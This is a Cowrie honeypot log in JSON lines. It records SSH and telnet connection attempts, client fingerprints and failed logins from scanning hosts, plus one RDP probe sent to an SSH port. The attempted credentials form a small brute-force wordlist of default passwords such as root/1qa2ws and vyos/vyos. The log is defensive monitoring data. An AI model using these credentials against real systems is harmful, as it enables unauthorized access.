{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41606,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e49840e5ad4","protocol":"telnet","message":"New connection: 152.42.224.71:41606 (10.17.0.5:23) [session: 6e49840e5ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:53.695516Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:56.587540Z","src_ip":"47.237.167.49","session":"58343c142f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:19:57.823379Z","src_ip":"47.237.167.49","session":"58343c142f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":46350,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fcee308dba5","protocol":"ssh","message":"New connection: 170.238.160.191:46350 (159.203.135.109:22) [session: 1fcee308dba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:01.322835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:01.332364Z","src_ip":"170.238.160.191","session":"1fcee308dba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:01.450315Z","src_ip":"170.238.160.191","session":"1fcee308dba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:01.950207Z","src_ip":"170.238.160.191","session":"1fcee308dba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:03.071701Z","src_ip":"170.238.160.191","session":"1fcee308dba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37048,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ed4174d35f4","protocol":"telnet","message":"New connection: 152.42.224.71:37048 (10.17.0.5:23) [session: 0ed4174d35f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:07.241279Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37050,"dst_ip":"10.17.0.5","dst_port":23,"session":"71177d8090e1","protocol":"telnet","message":"New connection: 152.42.224.71:37050 (10.17.0.5:23) [session: 71177d8090e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:10.066512Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37056,"dst_ip":"10.17.0.5","dst_port":23,"session":"587712246d7c","protocol":"telnet","message":"New connection: 152.42.224.71:37056 (10.17.0.5:23) [session: 587712246d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:10.288774Z"}
{"eventid":"cowrie.session.closed","duration":56.3320107460022,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:11.851473Z","src_ip":"152.42.224.71","session":"cd248a641c0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c436e5682ba","protocol":"telnet","message":"New connection: 152.42.224.71:37060 (10.17.0.5:23) [session: 1c436e5682ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:13.714337Z"}
{"eventid":"cowrie.session.closed","duration":120.00348162651062,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:15.653146Z","src_ip":"152.42.224.71","session":"922a7af28ad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47682,"dst_ip":"159.203.135.109","dst_port":22,"session":"d49561bc5728","protocol":"ssh","message":"New connection: 109.237.96.109:47682 (159.203.135.109:22) [session: d49561bc5728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:16.273414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:16.282932Z","src_ip":"109.237.96.109","session":"d49561bc5728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:16.377636Z","src_ip":"109.237.96.109","session":"d49561bc5728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws","message":"login attempt [root/1qa2ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:16.668794Z","src_ip":"109.237.96.109","session":"d49561bc5728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:17.766195Z","src_ip":"109.237.96.109","session":"d49561bc5728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.72138500213623,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:29.388941Z","src_ip":"152.42.224.71","session":"8e2d759d2965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39354,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd027275d8f3","protocol":"telnet","message":"New connection: 152.42.224.71:39354 (10.17.0.5:23) [session: cd027275d8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:29.790396Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b284939a1c2d","protocol":"telnet","message":"New connection: 152.42.224.71:39366 (10.17.0.5:23) [session: b284939a1c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:32.284509Z"}
{"eventid":"cowrie.session.closed","duration":28.60318160057068,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:35.844332Z","src_ip":"152.42.224.71","session":"0ed4174d35f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.138293743133545,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:39.833697Z","src_ip":"152.42.224.71","session":"6e49840e5ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32918,"dst_ip":"10.17.0.5","dst_port":23,"session":"490c4fa425df","protocol":"telnet","message":"New connection: 152.42.224.71:32918 (10.17.0.5:23) [session: 490c4fa425df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:40.456706Z"}
{"eventid":"cowrie.session.closed","duration":48.99487328529358,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:40.852644Z","src_ip":"152.42.224.71","session":"c454b7102d9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32924,"dst_ip":"10.17.0.5","dst_port":23,"session":"757b599bab8f","protocol":"telnet","message":"New connection: 152.42.224.71:32924 (10.17.0.5:23) [session: 757b599bab8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:41.444404Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46470,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6f3a62d894b","protocol":"ssh","message":"New connection: 185.236.22.41:46470 (159.203.135.109:22) [session: f6f3a62d894b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:43.780468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:43.792472Z","src_ip":"185.236.22.41","session":"f6f3a62d894b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:43.896891Z","src_ip":"185.236.22.41","session":"f6f3a62d894b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergei","message":"login attempt [root/sergei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:44.361345Z","src_ip":"185.236.22.41","session":"f6f3a62d894b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:45.477894Z","src_ip":"185.236.22.41","session":"f6f3a62d894b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.32016730308533,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:48.034375Z","src_ip":"152.42.224.71","session":"1c436e5682ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55387,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b4fb921fd51","protocol":"ssh","message":"New connection: 152.42.212.128:55387 (10.17.0.5:22) [session: 5b4fb921fd51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:49.401147Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:49.410458Z","src_ip":"152.42.212.128","session":"5b4fb921fd51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:49.414208Z","src_ip":"152.42.212.128","session":"5b4fb921fd51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.65537714958191,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:50.944048Z","src_ip":"152.42.224.71","session":"587712246d7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35172,"dst_ip":"10.17.0.5","dst_port":23,"session":"71de08aac34a","protocol":"telnet","message":"New connection: 152.42.224.71:35172 (10.17.0.5:23) [session: 71de08aac34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:55.088122Z"}
{"eventid":"cowrie.session.closed","duration":78.13949751853943,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:57.857628Z","src_ip":"152.42.224.71","session":"5a525643d903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.112197160720825,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:20:58.178573Z","src_ip":"152.42.224.71","session":"71177d8090e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":49563,"dst_ip":"159.203.135.109","dst_port":22,"session":"809502c81671","protocol":"ssh","message":"New connection: 181.188.172.6:49563 (159.203.135.109:22) [session: 809502c81671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:07.231386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:07.234932Z","src_ip":"181.188.172.6","session":"809502c81671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:07.352970Z","src_ip":"181.188.172.6","session":"809502c81671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234.","message":"login attempt [root/Test1234.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:08.212759Z","src_ip":"181.188.172.6","session":"809502c81671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:09.334500Z","src_ip":"181.188.172.6","session":"809502c81671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.476266622543335,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:16.760628Z","src_ip":"152.42.224.71","session":"b284939a1c2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51260,"dst_ip":"10.17.0.5","dst_port":23,"session":"166be6e20397","protocol":"telnet","message":"New connection: 152.42.224.71:51260 (10.17.0.5:23) [session: 166be6e20397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:18.471853Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.3.73","src_port":38586,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ebc8e29b2f","protocol":"ssh","message":"New connection: 45.142.3.73:38586 (10.17.0.5:22) [session: a3ebc8e29b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.053922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.060397Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.151179Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:3b:cc:f1:c0:6c:a5:89:6e:88:ff:9c:1c:5a:85:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCshIAC+p35zxNSVJgrARTOzbfS45QShHgYk9mVzIhdY/ihSAseBEFu9Jk/xPcCF4b2FtRIaQRzxH/SVgYMcz4G0Vxm1cLVEIsfyFN6xmrrWvqwjsdVKsfQyCOn/dhabfgTeKx7yUNpbg18QExun+V6LQeGCEwdXFunH7ATZVLPAEYc0mdmWIinJSSf7U3BSPvOROuM6DFagV2oCTel2gopoa3m/NLxbHvZEndzAIQSy79zq6EZep36DviZYFHApqVqUwR5Xi/HHGi2ZtuFkRLE7jKKenNvl1tiNcGPewYSnKIiydO61L9zCt6UXnSRrHUx8AGKXvKTWXQlhmPGFX7N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:3b:cc:f1:c0:6c:a5:89:6e:88:ff:9c:1c:5a:85:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.568735Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:3b:cc:f1:c0:6c:a5:89:6e:88:ff:9c:1c:5a:85:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCshIAC+p35zxNSVJgrARTOzbfS45QShHgYk9mVzIhdY/ihSAseBEFu9Jk/xPcCF4b2FtRIaQRzxH/SVgYMcz4G0Vxm1cLVEIsfyFN6xmrrWvqwjsdVKsfQyCOn/dhabfgTeKx7yUNpbg18QExun+V6LQeGCEwdXFunH7ATZVLPAEYc0mdmWIinJSSf7U3BSPvOROuM6DFagV2oCTel2gopoa3m/NLxbHvZEndzAIQSy79zq6EZep36DviZYFHApqVqUwR5Xi/HHGi2ZtuFkRLE7jKKenNvl1tiNcGPewYSnKIiydO61L9zCt6UXnSRrHUx8AGKXvKTWXQlhmPGFX7N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:21:22.571945Z","src_ip":"45.142.3.73","session":"a3ebc8e29b2f","protocol":"ssh"}
